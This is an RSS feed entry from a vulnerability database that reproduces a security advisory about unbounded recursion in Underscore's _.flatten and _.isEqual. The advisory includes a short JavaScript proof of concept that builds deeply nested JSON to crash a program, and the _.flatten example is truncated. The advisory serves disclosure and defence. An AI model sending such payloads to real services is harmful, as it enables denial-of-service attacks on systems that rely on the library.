<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 22:36:51 +0000</lastBuildDate>
    <item>
      <title>GHSA-qpx9-hpmf-5gmw — Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-qpx9-hpmf-5gmw</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: underscore&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;In simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.&lt;/p&gt;
&lt;p&gt;In affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.&lt;/p&gt;
&lt;p&gt;A proof of concept (PoC) for this type of attack with `_.isEqual`:&lt;/p&gt;
&lt;p&gt;```js
const _ = require(&amp;#39;underscore&amp;#39;);&lt;/p&gt;
&lt;p&gt;// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = &amp;#39;&amp;#39;;
for (let i = 0; i &amp;lt; 4500; i++) json += &amp;#39;{&amp;#34;n&amp;#34;:&amp;#39;;
json += &amp;#39;&amp;#34;x&amp;#34;&amp;#39;;
for (let i = 0; i &amp;lt; 4500; i++) json += &amp;#39;}&amp;#39;;&lt;/p&gt;
&lt;p&gt;// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);&lt;/p&gt;
&lt;p&gt;_.isEqual(a, b); // RangeError: Maximum call stack size exceeded
```&lt;/p&gt;
&lt;p&gt;A proof of concept (PoC) for this type of attack with `_.flatten`:&lt;/p&gt;
&lt;p&gt;```js
const _ = require(&amp;#39;underscore&amp;#39;);&lt;/p&gt;
&lt;p&gt;// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i &amp;lt; 4500; i++) nested…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: underscore&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;In simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.&lt;/p&gt;
&lt;p&gt;In affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.&lt;/p&gt;
&lt;p&gt;A proof of concept (PoC) for this type of attack with `_.isEqual`:&lt;/p&gt;
&lt;p&gt;```js
const _ = require(&amp;#39;underscore&amp;#39;);&lt;/p&gt;
&lt;p&gt;// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = &amp;#39;&amp;#39;;
for (let i = 0; i &amp;lt; 4500; i++) json += &amp;#39;{&amp;#34;n&amp;#34;:&amp;#39;;
json += &amp;#39;&amp;#34;x&amp;#34;&amp;#39;;
for (let i = 0; i &amp;lt; 4500; i++) json += &amp;#39;}&amp;#39;;&lt;/p&gt;
&lt;p&gt;// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);&lt;/p&gt;
&lt;p&gt;_.isEqual(a, b); // RangeError: Maximum call stack size exceeded
```&lt;/p&gt;
&lt;p&gt;A proof of concept (PoC) for this type of attack with `_.flatten`:&lt;/p&gt;
&lt;p&gt;```js
const _ = require(&amp;#39;underscore&amp;#39;);&lt;/p&gt;
&lt;p&gt;// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i &amp;lt; 4500; i++) nested…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-qpx9-hpmf-5gmw</guid>
    </item>
  </channel>
</rss>
